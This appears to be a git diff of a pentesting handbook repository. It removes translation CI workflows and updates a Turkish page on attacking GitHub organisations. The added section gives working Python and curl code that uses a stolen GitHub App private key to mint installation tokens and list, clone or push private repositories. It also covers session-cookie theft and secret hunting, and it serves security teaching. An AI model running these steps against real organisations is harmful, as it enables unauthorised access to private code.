sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_sw.yml b/.github/workflows/translate_sw.yml deleted file mode 100644 index 5e5fc46a9..000000000 --- a/.github/workflows/translate_sw.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to SW (Swahili) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: sw - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Swahili - BRANCH: sw - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_tr.yml b/.github/workflows/translate_tr.yml deleted file mode 100644 index f3c5359c1..000000000 --- a/.github/workflows/translate_tr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to TR (Turkish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: tr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Turkish - BRANCH: tr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_uk.yml b/.github/workflows/translate_uk.yml deleted file mode 100644 index 293f113e2..000000000 --- a/.github/workflows/translate_uk.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to UK (Ukranian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: uk - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Ukranian - BRANCH: uk - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_zh.yml b/.github/workflows/translate_zh.yml deleted file mode 100644 index 76f12ba6a..000000000 --- a/.github/workflows/translate_zh.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ZH (Chinese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: zh - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Chinese - BRANCH: zh - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 44755dae4..770dcc6cc 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -17,14 +17,14 @@ basic-github-information.md Github depoları kamuya açık, özel ve dahili olarak yapılandırılabilir. - **Özel** demek, **sadece** **kuruluş** üyelerinin erişebileceği anlamına gelir. -- **Dahili** demek, **sadece** **şirket** üyelerinin (bir şirketin birden fazla kuruluşu olabilir) erişebileceği anlamına gelir. +- **Dahili** demek, **sadece** **şirket** (bir şirketin birden fazla kuruluşu olabilir) üyelerinin erişebileceği anlamına gelir. - **Kamuya açık** demek, **tüm internet** erişebilecek demektir. -Eğer hedef almak istediğiniz **kullanıcı, depo veya kuruluşu** biliyorsanız, **duyarlı bilgileri bulmak** veya **her depoda duyarlı bilgi sızıntılarını** aramak için **github dorks** kullanabilirsiniz. +Eğer hedef almak istediğiniz **kullanıcı, depo veya kuruluşu** biliyorsanız, **her depoda** hassas bilgileri bulmak veya **hassas bilgi sızıntılarını** aramak için **github dorks** kullanabilirsiniz. ### Github Dorks -Github, **bir kullanıcı, depo veya kuruluş belirterek bir şey aramanıza** olanak tanır. Bu nedenle, duyarlı bilgilerin yakınında görünecek bir dizi dize ile hedefinizde **potansiyel duyarlı bilgileri kolayca arayabilirsiniz**. +Github, **bir kullanıcı, bir depo veya bir kuruluş belirterek bir şey aramanıza** olanak tanır. Bu nedenle, hassas bilgilere yakın görünecek bir dizi dize ile hedefinizde **potansiyel hassas bilgileri kolayca arayabilirsiniz**. Araçlar (her araç kendi dork listesine sahiptir): @@ -34,28 +34,22 @@ Araçlar (her araç kendi dork listesine sahiptir): ### Github Sızıntıları -Lütfen, github dorklarının sızıntıları aramak için de kullanıldığını unutmayın. Bu bölüm, **her depoyu indirip içlerinde duyarlı bilgileri arayacak** araçlara adanmıştır (belirli bir commit derinliğini kontrol etme dahil). +Lütfen, github dorklarının sızıntıları aramak için de kullanıldığını unutmayın. Bu bölüm, **her depoyu indirip içlerinde hassas bilgileri arayan** araçlara adanmıştır (belirli bir commit derinliğini kontrol etme dahil). Araçlar (her araç kendi regex listesine sahiptir): -- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) -- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) -- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) -- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) -- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets) -- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks) -- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) +Bu sayfayı kontrol edin: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)** > [!WARNING] > Bir depoda sızıntı ararken ve `git log -p` gibi bir şey çalıştırırken, **diğer commit'leri içeren diğer dallar** olabileceğini unutmayın! ### Harici Forklar -**Pull request'leri kötüye kullanarak depoları tehlikeye atmak** mümkündür. Bir deponun savunmasız olup olmadığını bilmek için genellikle Github Actions yaml yapılandırmalarını okumanız gerekir. [**Bu konuda daha fazla bilgi aşağıda**](./#execution-from-a-external-fork). +**Pull request'leri kötüye kullanarak depoları tehlikeye atmak** mümkündür. Bir deponun savunmasız olup olmadığını bilmek için çoğunlukla Github Actions yaml yapılandırmalarını okumanız gerekir. [**Aşağıda bununla ilgili daha fazla bilgi**](#execution-from-a-external-fork). ### Silinmiş/Dahili Forklarda Github Sızıntıları -Silinmiş veya dahili olsa bile, github depolarının forklarından duyarlı verileri elde etmek mümkün olabilir. Buradan kontrol edin: +Silinmiş veya dahili olsa bile, github depolarının forklarından hassas veriler elde etmek mümkün olabilir. Bunu burada kontrol edin: {{#ref}} accessible-deleted-data-in-github.md @@ -76,16 +70,16 @@ Kuruluşun **üyelerine** atanabilecek bazı **varsayılan ayrıcalıklar** vard - _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ - **Depo silme ve transfer**: Etkinleştirildiğinde, depo için **admin** izinlerine sahip üyeler, kamuya açık ve özel **depoları** **silme** veya **transfer etme** yetkisine sahip olacaktır. - _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ -- **Üyelerin ekip oluşturmasına izin verme**: Etkinleştirildiğinde, kuruluşun herhangi bir **üyesi** yeni **ekipler** oluşturabilecektir. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri yeni ekipler oluşturabilir. Bunun devre dışı olması daha iyidir. +- **Üyelerin ekip oluşturmasına izin verme**: Etkinleştirildiğinde, kuruluşun herhangi bir **üyesi** yeni **takımlar** oluşturabilecektir. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri yeni takımlar oluşturabilir. Bunun devre dışı bırakılması daha iyidir. - _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ -- **Bu sayfada daha fazla şey yapılandırılabilir**, ancak önceki olanlar daha çok güvenlikle ilgilidir. +- **Bu sayfada daha fazla şey yapılandırılabilir**, ancak önceki olanlar daha güvenlikle ilgili olanlardır. ### Eylem Ayarları Eylemler için birkaç güvenlikle ilgili ayar, `https://github.com/organizations//settings/actions` sayfasından yapılandırılabilir. > [!NOTE] -> Tüm bu yapılandırmaların her deponun bağımsız olarak da ayarlanabileceğini unutmayın. +> Tüm bu yapılandırmaların her depoda bağımsız olarak da ayarlanabileceğini unutmayın. - **Github eylem politikaları**: Hangi depoların iş akışlarını çalıştırabileceğini ve hangi iş akışlarının izin verileceğini belirtmenize olanak tanır. **Hangi depoların** izin verileceğini belirtmek ve tüm eylemlerin çalıştırılmasına izin vermemek tavsiye edilir. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) @@ -93,7 +87,7 @@ Eylemler için birkaç güvenlikle ilgili ayar, `https://github.com/organization - _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_ - **Fork pull request'lerden iş akışlarını çalıştırma**: **Pull request'lerden iş akışlarını çalıştırmak** kesinlikle **tavsiye edilmez**, çünkü fork kaynağının bakımcıları, kaynak deposunda okuma izinlerine sahip token'ları kullanma yetkisi alacaktır. - _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_ -- **İş akışı izinleri**: **Sadece okuma deposu izinleri vermek** kesinlikle tavsiye edilir. GITHUB_TOKEN'ın kötüye kullanılmasını önlemek için yazma ve pull request oluşturma/onaylama izinleri vermek tavsiye edilmez. +- **İş akışı izinleri**: **Sadece okuma deposu izinleri** vermek kesinlikle tavsiye edilir. GITHUB_TOKEN'ın kötüye kullanılmasını önlemek için yazma ve pull request'leri oluşturma/onaylama izinleri vermek tavsiye edilmez. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Entegrasyonlar @@ -114,23 +108,23 @@ Eğer bir şekilde bir kuruluş içindeki bir kullanıcı için kimlik bilgileri **2FA'nın kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz. > [!NOTE] -> Eğer **`user_session` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır) **kullanıcıyı tamamen taklit edebilirsiniz**; kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan. +> Eğer **`user_session` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır), kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan **kullanıcıyı tamamen taklit edebilirsiniz**. -Aşağıdaki bölümde [**dal koruma atlamaları**](./#branch-protection-bypass) hakkında kontrol edin, faydalı olabilir. +Aşağıdaki [**dal koruma atlamaları**](#branch-protection-bypass) bölümünü kontrol edin, faydalı olursa. ### Kullanıcı SSH Anahtarı ile -Github, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları** ayarlamalarına olanak tanır (2FA uygulanmaz). +Github, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi** olarak kullanılacak **SSH anahtarları** ayarlamalarına olanak tanır (2FA uygulanmaz). -Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **depolar üzerinde değişiklikler yapabilirsiniz**, ancak bunu github api'ye erişmek için kullanamazsınız. Ancak, erişiminiz olan depolar ve kullanıcı hakkında bilgi almak için **yerel ayarları listeleyebilirsiniz**: +Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **depolar üzerinde değişiklikler** yapabilirsiniz, ancak bunu github api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan depolar ve kullanıcı hakkında bilgi almak için **yerel ayarları listeleyebilirsiniz**: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -Eğer kullanıcı adını github kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz. +Eğer kullanıcı adını GitHub kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz. -**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda da ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir. +**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda da ayarlanabilir. Bu anahtara erişimi olan herkes, **bir depodan projeleri başlatma** yeteneğine sahip olacaktır. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir. #### GPG Anahtarları @@ -142,7 +136,7 @@ gpg --list-secret-keys --keyid-format=long ``` ### Kullanıcı Tokeni ile -[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#personal-access-tokens) bir giriş için. +[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-github-information.md#personal-access-tokens) için bir giriş. Bir kullanıcı tokeni, HTTPS üzerinden Git için **şifre yerine** kullanılabilir veya [**API'ye Temel Kimlik Doğrulaması ile kimlik doğrulamak için**](https://docs.github.com/v3/auth/#basic-authentication) kullanılabilir. Ekli olan ayrıcalıklara bağlı olarak farklı eylemler gerçekleştirebilirsiniz. @@ -150,51 +144,201 @@ Bir Kullanıcı tokeni şöyle görünür: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0d ### Oauth Uygulaması ile -[**Github Oauth Uygulamaları hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#oauth-applications) bir giriş için. +[**Github Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#oauth-applications) için bir giriş. -Bir saldırgan, muhtemelen bir kimlik avı kampanyasının parçası olarak kullanıcıların kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir. +Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir. -Bir Oauth uygulamasının talep edebileceği [kapsamlar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) bunlardır. Her zaman kabul etmeden önce talep edilen kapsamları kontrol etmelisiniz. +Bir Oauth uygulamasının talep edebileceği [kapsamlar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) şunlardır. Her zaman kabul etmeden önce talep edilen kapsamları kontrol etmelisiniz. -Ayrıca, temel bilgilerde açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir. +Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir. ### Github Uygulaması ile -[**Github Uygulamaları hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#github-applications) bir giriş için. +[**Github Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#github-applications) için bir giriş. -Bir saldırgan, muhtemelen bir kimlik avı kampanyasının parçası olarak kullanıcıların kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Github Uygulaması** oluşturabilir. +Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Github Uygulaması** oluşturabilir. -Ayrıca, temel bilgilerde açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir. +Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir. -## Github Eylemini Ele Geçirme ve Kötüye Kullanma +#### Bir GitHub Uygulamasını özel anahtarı ile taklit etme (JWT → kurulum erişim tokenleri) -Bir Github Eylemini ele geçirmek ve kötüye kullanmak için birkaç teknik vardır, burada kontrol edin: +Bir GitHub Uygulamasının özel anahtarını (PEM) elde ederseniz, uygulamayı tüm kurulumları boyunca tamamen taklit edebilirsiniz: + +- Özel anahtarla imzalanmış kısa ömürlü bir JWT oluşturun +- Kurulumları listelemek için GitHub Uygulaması REST API'sini çağırın +- Her kurulum için erişim tokenleri oluşturun ve bunları o kuruluşa verilen depoları listelemek/kopyalamak/push yapmak için kullanın + +Gereksinimler: +- GitHub Uygulaması özel anahtarı (PEM) +- GitHub Uygulaması ID'si (sayısal). GitHub, iss'nin Uygulama ID'si olmasını gerektirir + +JWT oluşturun (RS256): +```python +#!/usr/bin/env python3 +import time, jwt + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) + +def gen_jwt(): +now = int(time.time()) +payload = { +"iat": now - 60, +"exp": now + 600 - 60, # ≤10 minutes +"iss": APP_ID, +} +return jwt.encode(payload, signing_key, algorithm="RS256") +``` +Kimlik doğrulaması yapılmış uygulama için kurulumları listele: +```bash +JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456) + +curl -sS -H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations +``` +Bir kurulum erişim belirteci oluşturun (geçerlilik süresi ≤ 10 dakika): +```bash +INSTALL_ID=12345678 +curl -sS -X POST \ +-H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations/$INSTALL_ID/access_tokens +``` +Token'i kullanarak koda erişin. x‑access‑token URL biçimini kullanarak klonlayabilir veya itebilirsiniz: +```bash +TOKEN=ghs_... +REPO=owner/name +git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git +# push works if the app has contents:write on that repository +``` +Belirli bir organizasyonu hedeflemek ve özel repoları listelemek için Programatik PoC (PyGithub + PyJWT): +```python +#!/usr/bin/env python3 +import time, jwt, requests +from github import Auth, GithubIntegration + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) +ORG = "someorg" + +def gen_jwt(): +now = int(time.time()) +payload = {"iat": now-60, "exp": now+540, "iss": APP_ID} +return jwt.encode(payload, signing_key, algorithm="RS256") + +auth = Auth.AppAuth(APP_ID, signing_key) +GI = GithubIntegration(auth=auth) +installation = GI.get_org_installation(ORG) +print(f"Installation ID: {installation.id}") + +jwt_tok = gen_jwt() +r = requests.post( +f"https://api.github.com/app/installations/{installation.id}/access_tokens", +headers={ +"Accept": "application/vnd.github+json", +"Authorization": f"Bearer {jwt_tok}", +"X-GitHub-Api-Version": "2022-11-28", +}, +) +access_token = r.json()["token"] + +print("--- repos ---") +for repo in installation.get_repos(): +print(f"* {repo.full_name} (private={repo.private})") +clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git" +print(clone_url) +``` +Notlar: +- Kurulum tokenleri tam olarak uygulamanın depo düzeyi izinlerini miras alır (örneğin, içerikler: yazma, pull_requests: yazma) +- Tokenler ≤10 dakikada süresi doluyor, ancak özel anahtarı koruduğunuz sürece yeni tokenler sonsuz bir şekilde oluşturulabilir +- Ayrıca, JWT kullanarak REST API (GET /app/installations) aracılığıyla kurulumları listeleyebilirsiniz + +## Kompromi & Kötüye Kullanım Github Action + +Bir Github Action'ı ele geçirmek ve kötüye kullanmak için birkaç teknik vardır, buradan kontrol edebilirsiniz: {{#ref}} abusing-github-actions/ {{#endref}} +## Harici araçlar çalıştıran üçüncü taraf GitHub Uygulamalarını Kötüye Kullanma (Rubocop 